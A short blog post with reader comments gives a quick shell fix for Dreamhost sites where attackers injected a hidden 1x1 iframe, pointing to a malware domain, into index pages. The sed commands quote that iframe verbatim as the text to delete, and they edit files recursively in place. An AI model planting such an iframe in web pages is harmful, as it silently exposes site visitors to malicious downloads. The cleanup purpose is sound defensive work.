Quick fix for code inject attack on Dreamhost Servers!
Today evening some of the Dreamhost servers (also one of our client’s) where attacked by some unknown hackers. One line of code where injected to index.php, index.html etc, which will takedown the site.
Here is a quick fix for it. Run these two commands in bash shell of your Dreamhost server. They will remove the injected code from the files.
sed -i 's/<\/iframe><\/body><\/html>//g' `grep "litedownloadseek" * -r -l`
sed -i 's/<iframe src="\" mce_src="\""http:\/\/litedownloadseek.cn\/in.cgi?cocacola7\" width=1 height=1 style="\" mce_style="\""visibility: hidden\"><\/iframe>//g' `grep "litedownloadseek" * -r -l`
</pre>
<blockquote><p>Disclaimer: Use at your own risk! But this worked for us! :)</p></blockquote>



Thanks NetBramha. It worked for me too!!
@Bharath Recently some of the sites hosted on dreamhost got compromised, where some external code where inserted in the index pages. This will remove those injected codes.